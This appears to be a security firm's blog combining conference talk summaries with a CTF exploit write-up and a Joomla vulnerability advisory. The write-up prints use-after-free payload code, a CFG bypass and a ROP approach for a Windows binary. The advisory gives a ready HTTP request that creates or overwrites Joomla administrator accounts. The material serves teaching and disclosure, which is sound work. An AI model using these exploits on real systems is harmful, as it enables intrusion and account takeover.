recon Bruxelles 2017

Première édition de recon en Belgique en ce début d’année! Le logo de l’évènement change, mais le programme reste le même: Reverse engineering et exploitation. Du coup, pas une seule conférence n’a oublié son screenshot d’IDA Pro (qui est d’ailleurs le sponsor de l’évenement). Comme pour l’édition 2016 de Montréal, les conférences ont duré trois jours avec une seule track, donc pas de remords ni de regrets. 🙂

Je vous propose un aperçu de quelques conférences de cette première édition Européene:

Hackable Security Modules Reversing and Exploiting FIPS-140-2 lvl3 HSM firmware

Cette présentation traitait de l’analyse d’un firmware de HSM dans le but d’y déceler des vulnérabilités. Un HSM (Hardware Security Module) permet de stocker et gérer des clés cryptographiques de manière sécurisée. Ils sont typiquement utilisés par les autorités de certification afin de protéger l’accès à leurs clés privées.

Le HSM testé est produit par la société Ultimaco et est certifié FIPS-140-2 level 3. Cette certification implique que le boitier dispose d’un mécanisme de détection des intrusions physiques en plus d’un système bloquant l’accès aux clés contenues dans le module. L’appliance est un système Linux doté d’un module HSM connecté en PCIe. Lors du premier démarrage, une clé de chiffrement et une clé de backup sont générées afin de protéger toutes les autres clés stockées sur le système.

La première étape a consisté à décompresser le firmware qui utilisait un format propriétaire (MPKG) et qui contenait différents firmwares pour chaque module de l’appareil au format MTC. Ce format MTC est une version modifiée du standard COFF. Après l’avoir reversé, le code binaire a pu être extrait. Sauf que le HSM utilise un processeur de signal (DSP) TMS320C64x produit par Texas Instrument qui n’est pas pris en charge par les logiciels de désassemblage classiques. Ainsi il était nécessaire de créer un module de désassemblage pour ajouter cette architecture dans Capstone. La complexité de l’architecture a rendu la tâche très ardue mais finalement le code a pu être désassemblé.

L’analyse du code a permis de mettre en évidence au moins une vulnérabilité. En effet, un contrôle est effectué au moment d’ouvrir une base de données afin d’empêcher l’accès aux clés. La routine de vérification contrôle que la base de données ne soit pas la chaine de caractères VMBK1 (nom de la base contenant la clé de backup). Sauf que le nom de base peut être préfixé par la localisation de cette dernière, ainsi FLASH\VMBK1.db permet de récupérer les clés.. 🙂

L’entreprise qui développe le produit à mis près d’une année pour corriger la faille… Cependant il ne lui a fallu que quelques jours après la présentation pour demander à l’auteur de retirer ses outils hébergés sur Github.

Breaking Code Read Protection on the NXP LPC-family Microcontrôlers

L’auteur présente le contournement de la protection Code Read Protection (CRP) implémentée dans les microcontrôlers de la famille NXP LPC. Cette protection permet normalement d’éviter que le code du microcontrôleur puisse être extrait de la flash. Chris Gerlinsky nous montre comment mettre en place une attaque par glitching afin de neutraliser le CRP.

Le contournement débute par l’acquisition d’un microcontrôleur de cette famille. Le chip est programmé avec un code simple qui consite en une boucle infinie dans laquelle deux variables sont incrémentées de manière identique puis comparées. Le but étant de détecter si l’une des deux variables n’a pas été incrémentée correctement à cause d’un glitch.

Un circuit particulier (Xmega-A1 MAX4619) est utilisé pour générer les glitchs (impulsions de tension basses) en switchant entre deux sources d’alimentation: Une source à la tension nominale (1.9v) et une autre plus basse qui va permettre de générer les erreurs (~0.7v). Ce circuit est directement utilisé pour alimenter le microcontrôleur. Des glitchs sont ensuite générés en variant la tension basse afin de trouver une valeur qui génère un maximum d’erreurs dans la comparaison des deux variables incrémentées sans interrompre l’alimentation du microcontrôleur. L’étape suivante consiste à faire varier la longueur des impulsions et finalement de décaler l’impulsion dans le temps afin qu’elle affecte la vérification du flag CRP.

Lorsque l’impulsion arrive au bon moment, le résultat de la comparaison du flag CRP est modifiée et l’accès au bootloader est autorisé permettant ainsi de lire la flash.

Le code du module de glitch est disponible sur github.

Transforming Open Source to Open Access in Closed Applications

Un grand nombre de logiciels propriétaires intègrent du code Open Source afin de réduire le temps de développement et par conséquent les coûts. Cette démarche à cependant un certain nombre de désavantages en termes de sécurité qui ne sont pas forcément pris en compte par l’éditeur du logiciel. D’une part, les mises à jour du logiciel Open Source doivent être intégrées dans le projet ce qui retarde la correction effective des vulnérabilités dans la solution propriétaire. D’autre part, l’abandon d’un projet Open Source utilisé expose fortement le logiciel dont le/les composants ne seraient plus mis à jour.

Ce cas de figure est illustré dans la présentation par le logiciel Acrobat Reader. En effet, le moteur de traitement XSLT d’Acrobat est basé sur le projet Open Source Sablotron, qui a cessé d’être maintenu en mai 2015. Les auteurs utilisent une technique de matching de code binaire pour trouver des correspondances entre le code propriétaire et le logiciel Open Source.

L’analyse du code source des fonctions/parties reprisent a permis de mettre en évidence plusieurs vulnérabilités critiques (exécution de code) dans le lecteur de PDF.

miLazyCracker

Kevin Larson a apporté sa pierre à l’édifice du cracking NFC contre les cartes Mifare Classic et Mifare Plus. Il a présenté son outil miLazyCracker qui, faute d’améliorer l’attaque, rend l’exploitation extrêmement simple. En effet, l’outil développé n’attend aucun argument et se met en attente d’une carte Mifare. De plus il exploite un hardware bon marché, le SCL3711.

Vous trouverez son outil directement sur Github miLazyCracker.

Teaching Old Shellcode New Tricks

Le framework Metasploit utilise une technique baptisée Stephen Fewer’s Hash API (SFHA) qui permet de simplifier l’appel d’une fonction particulière de l’API Windows en utilisant un hash. Les solutions antivirus ont fini par utiliser ce pattern afin de détecter Meterpreter (la partie cliente de Metasploit). De plus, l’outil EMET de Microsoft détecte et bloque l’exécution de shellcode qui emploie cette technique.

Ce talk présente une technique basée sur IAT / LLAGBA qui permet de remplacer le SFHA. L’outil développé traite un payload généré à l’aide de msfvenom et remplace le stub SFHA afin de bypasser EMET. En plus de cela, il permet de supprimer les hashs originaux afin de limiter la détection du payload par les anti-virus.

Pour son outil, c’est par ici: fido.

Harnessing Intel Processor Trace on Windows for fuzzing and dynamic analysis

Cette présentation décrit la nouvelle fonctionnalité intégrée dans les processeurs Intel de génération Skylake, à savoir Intel Processor Trace. Cette fonctionnalité permet de tracer l’exécution d’un programme directement en hardware, ce qui réduit largement la charge CPU nécessaire au suivi.

Les deux présentateurs travaillent sur le développement d’un driver Open Source pour Windows qui supporte le multiprocesseur. Un plugin permettant de visualiser la trace directement dans IDA Pro est également disponible. Le code du driver et du plugin sont disponible dans ce repository WindowsIntelPT.

Le driver active la fonctionnalité dans le processeur. Ce dernier commence alors à enregistrer les instructions dans plusieurs fichiers de log (un par processeur logique). En parallèle le driver collecte certaines informations sur la mémoire. Les différentes informations récupérées sont croisées avec le binaire lui-même afin de retracer l’exécution. Finalement le plugin IDA permet de charger la trace et de visualiser graphiquement le chemin d’exécution. D’après les conférenciers, un overhead de l’ordre des 10% serait constaté.

Exploiting a misused C++ shared pointer on Windows 10

In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies.

These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!):

The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here.

Logic of the binary:

Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other.

The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list.

Each Person object has the following attributes:

The narrator exposes the following commands:

--[ Welcome to Winworld, park no 1209 ]--
narrator [day 1]$ help
Available commands:
 - new <type> <sex> <name>
 - clone <id> <new_name>
 - list <hosts|guests>
 - info <id>
 - update <id> <attribute> <value>
 - friend <add|remove> <id 1> <id 2>
 - sentence <add|remove> <id> <sentence>
 - map
 - move <id> {<l|r|u|d>+}
 - random_move
 - next_day
 - help
 - prompt <show|hide>
 - quit
narrator [day 1]$

The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list.

People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…).

Vulnerability 1: uninitialized attribute in the Person copy constructor

During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too.

First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position.

Robots are initialized with is_conscious = false in the Person::Person constructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is.

Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg:

0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at 'winworld!Person::Person'
0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0
rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70
Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d70
0:000> !heap -x 0000024a826800c0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 

0:000> !heap -x 0000024a82673d70
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy

Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are.

The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation.

So now our robot becomes human, and the troubles begin!

Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it 😉 But to be fair, I enabled CFG which isn’t default!

Vulnerability 2: misused std::shared_ptr

A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free.

It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code:

This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object:

When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_day function will free it when it removes the pointer from the guests vector:

So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncounter method pointer:

def craft_person(func_ptr, leak_addr, size):
 payload = struct.pack("<Q", func_ptr) # func pointer
 payload += "\x00" * 24 # friends std::vector
 payload += "\x00" * 24 # sentences std::vector

 # std::string name
 payload += struct.pack("<Q", leak_addr)
 payload += "JUNKJUNK"
 payload += struct.pack("<Q", size) # size
 payload += struct.pack("<Q", size) # max_size

 payload += struct.pack("<I", 1) # type = GUEST
 payload += struct.pack("<I", 1) # sex
 payload += "\x01" # is_alive
 payload += "\x01" # is_conscious
 payload += "\x01" # is_enabled
 [...]

payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)
for i in range(0x100):
    sendline(s, payload)
sendline(s, "move h7 lr")

Result:

0:004> g
(1a00.c68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200

Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR.

Leaking the binary base address

In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10…

Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead.

Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends:

0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0
000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 

0:000> dq 000001cf`94d949b0
000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer
000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size
000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3
000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable'
000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030

The vector now belongs to the same LFH bucket as Person objects. If  we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it.

We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections.

Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want 🙂

Bypassing Control Flow Guard

Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls:

On Windows 10 this calls ntdll!LdrpValidateUserCallTarget to check that the pointer is a valid function start using its CFGBitmap of allowed addresses, and aborts if not.

The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG:

  1. The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values
  2. It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet.
  3. If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT)

While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2).

We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit.

Leaking other libraries

Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos.

Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll (always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses:

0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget

To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop.

Leaking the stack

Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore…

A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization.

His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64:

0:001> !address
[...]
        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
[...]
        3b`b6cfb000       3b`b6d00000        0`00005000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack      [~0; 2524.1738]
[...]
0:001> !heap
 Heap Address NT/Segment Heap

 17c262d0000 NT Heap
 17c26120000 NT Heap
0:001> !address 17c262d0000 

Usage: Heap
Base Address: 0000017c`262d0000
End Address: 0000017c`26332000
[...]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca80
00007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20

Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address.

Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved.

Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain!

Mitigation policies & ROP

Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it:

  • VirtualProtect then shellcode
  • LoadLibrary of a library over SMB
  • Execute a shell command (WinExec etc.)
  • Full ROP to read the flag

As mentioned earlier the binary has some of the recent mitigation policies, in our context the following ones are relevant:

  • ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail
  • ProcessSignaturePolicy : libraries must be signed  → prevents LoadLibrary
  • ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB

The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncher process – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run.

My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3).

Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain…

0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret

Putting it all together we finally get the following:

Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed...
 Clock not synced with server...
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 ...
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 ...
[+] Cloning host, with uninitialized memory this one should have is_conscious...
[+] Removing current friends of pwnrobot...
[+] Moving a guest to the maze center (37, 86) -> (38, 41)...
[+] Moving our host to the maze center (38, 29) -> (38, 41)...
[+] pwnrobot should now be a human... kill him!
[+] Removing all pwnrobot's friends...
7 / 7 ...
[+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 ...
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr...
[+] Dumping heap @ 0x18a6eae6b40...
[+] Dumping heap @ 0x18a6eae7b40...
[HEAP] 0x18a6eae7b40
 [00] - 0x18a6ea96c72
 [01] - 0x18a6ea9c550
 [02] - 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40...
[HEAP] 0x18a6eae8b40
 [00] - 0x3ab7faf120
 [01] - 0x3ab7faf4f0
 [02] - 0x18a6ea9c550
 [03] - 0x18a6eae84c0
 [04] - 0x18a6eae8560
 [05] - 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
RIP at offset 0x8
[+] Overwrite stack with ROPchain...
[+] Trigger ROP chain...
Better not forget to initialize a robot's memory!

Flag: INS{I pwn, therefore I am!}
[+] Exploit completed.

Conclusions

You can find the full exploit here.

I hope it was useful to those like me that are not so used at to do C++ or Windows exploitation. Again congratulations to Dragon Sector for solving this task, 1h before the CTF end!

Joomla! Admin user creation (3.4.4 → 3.6.3)

On October 25th, Joomla! was updated to version 3.6.4 to address two vulnerabilities :

CVE-2016-8869 concerning registration with elevated privileges.
CVE-2016-8870 concerning account creation while registration is disabled.

In this post, we wanted to quickly discuss the vulnerability and its impact on vulnerable installations.

Upon patch-diffing the two versions, we noticed that an entire method had been removed from the components/com_users/controllers/user.php file : the register method from the UsersControllerUser class.

patchdiff

Normally, the register method used by Joomla! is the one from the UsersControllerRegistration class, in components/com_users/controllers/registration.php.

The deleted one is most likely a leftover from old patches, and doesn’t enforce a check on whether or not user registration is enabled (as opposed to the UsersControllerRegistration.register method).

Moreover, the $data array is supposed to be sanitized in the first line below, but the unsanitized value is then used in the register function at the end of this snippet, allowing us to submit custom data such as group and uid values.

novalidation

We can call this method by posting our registration values on the index.php?option=com_users&task=User.register URL.

POST /index.php?option=com_users&task=User.register HTTP/1.1
 Host: localhost
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.11.1
 Cookie: 96b8cb33d84fb0aa459957bcad81cf90=go86e62fsve2a3jaqdmk6h6oq4
 Content-Length: 284
 Content-Type: application/x-www-form-urlencoded

user[password1]=exploit&user[username]=exploit&user[email2]=exploit@exploit.exp&user[password2]=exploit&user[name]=exploit&user[email1]=exploit@exploit.exp&user[groups][]=7&7c48521fa302676bada83d0e344011f2=1

The newly created user is then found on the server  :

accindb

For a valid request, we need to retrieve a CSRF Token and post it with a value = 1.

We are able to specify a custom user[id] value. If that id pre-exists in the database, the corresponding user will be overwritten during the registration.

Additionally, we can get high privileges by posting an array of user[groups][] values that will be assigned to the account. The default group id for Administrators is 7.

However, the only way to get the SuperAdmin group (8 by default) is to overwrite a pre-existing SuperAdmin user by specifying his user id.

Note that if user registration is disabled, the new/overwritten user will be blocked from logging in resulting in a denial of service for the SuperAdmin account.

In order to find and compromise a SuperAdmin account, it is possible to bruteforce all user ids and try to create a user with all possible groups. This will ensure that only the existing SuperAdmin accounts are overwritten (only the SuperAdmin ids can be overwritten to have SuperAdmin rights).

To create an admin account when the Administrator group id isn’t 7, it is possible to assign all the group ids from 1-99 (but leave the SuperAdmin group id out).

Download the PoC

CybSec16

La Cybsec16 est maintenant terminée et toute l’équipe SCRT présente a de nouveau passé un bon moment en compagnie de différents acteurs du monde de la sécurité en suisse romande (et un peu au delà). Une excellente organisation, des conférences intéressantes et diversifiées ainsi que les divers events “networking” ont largement contribué au succès de l’événement.

Comme plusieurs personnes sont venues me demander les slides de ma présentation, les voici:

https://download.scrt.ch/cybsec16/chlam2308161-1_cybsec_swisscom.pdf

En extra, les slides de ma rump session préparée à la dernière seconde:

https://download.scrt.ch/cybsec16/chlam0311161-1_cybsec_rump.pdf

Merci aux organisateurs et à l’année prochaine!

recon 2016

Première fois à recon et, oh waww! Assez différente des autres conférences, recon (dont le site web est recon.cx et non recon.com) est fortement orientée sur le Reverse Engineering et l’exploitation, que ce soit hardware ou software.

Étalée sur 3 jours avec une seule track, la conférence est pleine de talks à la fois intéressants et hallucinants, que nous tentons donc de résumer dans ce long post!

Hardware-Assisted Rootkits and Instrumentation: ARM Edition

Cette première présentation introduit le PMU (Performance Monitoring Unit), une extension CPU présente sur de nombreux systèmes ARM permettant d’obtenir des informations du système en temps réel. En fixant un compteur de -1 sur une instruction il est possible de recevoir une ISR (Interrupt Service Request), et ainsi d’accéder à une capture des registres au moment de l’instruction.. ou presque, puisqu’un délai appellé “skid” peut survenir entre l’instruction et l’interruption associée, auquel cas il est nécessaire de s’adapter par différents mécanismes.
Il est alors possible d’utiliser les propriétés du PMU afin de hooker des instructions tel que SVC sur ARM afin de surveiller les syscalls effectués sans patcher directement l’Exception Vector Table (EVT), qui est la technique classique intrusive, susceptible d’être détectée par des outils de sécurité.
2 exemples de monitoring des syscalls via le PMU sont alors présentées:

  • rootkit classique sur Android qui cache des fichiers / processus en hookant getdents, et une autre démonstration sur read()
  • détection/prévention d’attaque ROP, de façon similaire à la détection de stack pivot EMET sur Windows en monitorant l’état de la stack lors de requête mprotect (démonstration contre l’exploit Stagefright). Évidemment c’est ici une mesure basique loin de vraiment bloquer le ROP, mais une démonstration intéressante

Black box reverse engineering for unknown/custom instruction sets

L’auteur a présenté “deux” techniques:

  • On triche car l’architecture n’est en réalité pas inconnue et il existe de la documentation (datasheets, press release, etc.)
  • Il n’y a pas de documentation et il faut donc statistiquement analyser les données.

Bien entendu, la présentation s’est focalisée sur la deuxième partie. On peut en général visualiser les interrupt table ou les vector table, et a grand coup d’analyses statistiques, il est possible de déterminer quelle instruction est le call et en déduire laquelle est le ret. Les instructions push/pop apparaissent aussi avant les call/ret et des comparaisons sont généralement utilisées juste avant les jump. En procédant ainsi il est possible de commencer à écrire un désassembleur pour l’architecture et déduire d’autres instructions.

Une partie dynamique consiste alors à capturer les états, et si l’instruction mov est connue, déduire ce que font les autres instructions basé sur ces états via un “oracle“.

Visiting The Bear Den

Les analystes de ESET décrivent ici leur suivi des activités d’un groupe d’attaquants connu sous plusieurs noms dont APT28, Fancy Bear, sofacy… qui est connu pour avoir ciblé des embassades et ministères dans plus de 40 pays ainsi que l’OTAN. Ces derniers commencent leur attaque par du spear phishing, et utilisent plusieurs 0days (flash, windows, office) afin d’exécuter du code arbitraire, élever les privilèges et établir une communication chiffrée avec des serveurs de C&C (malware Sednit). L’exploit kit – SEDKIT – se compose de plusieurs composants dont un dropper en delphi, un bootkit, un rootkit, un outil de pivot… l’éventail d’armes attendu pour une APT.

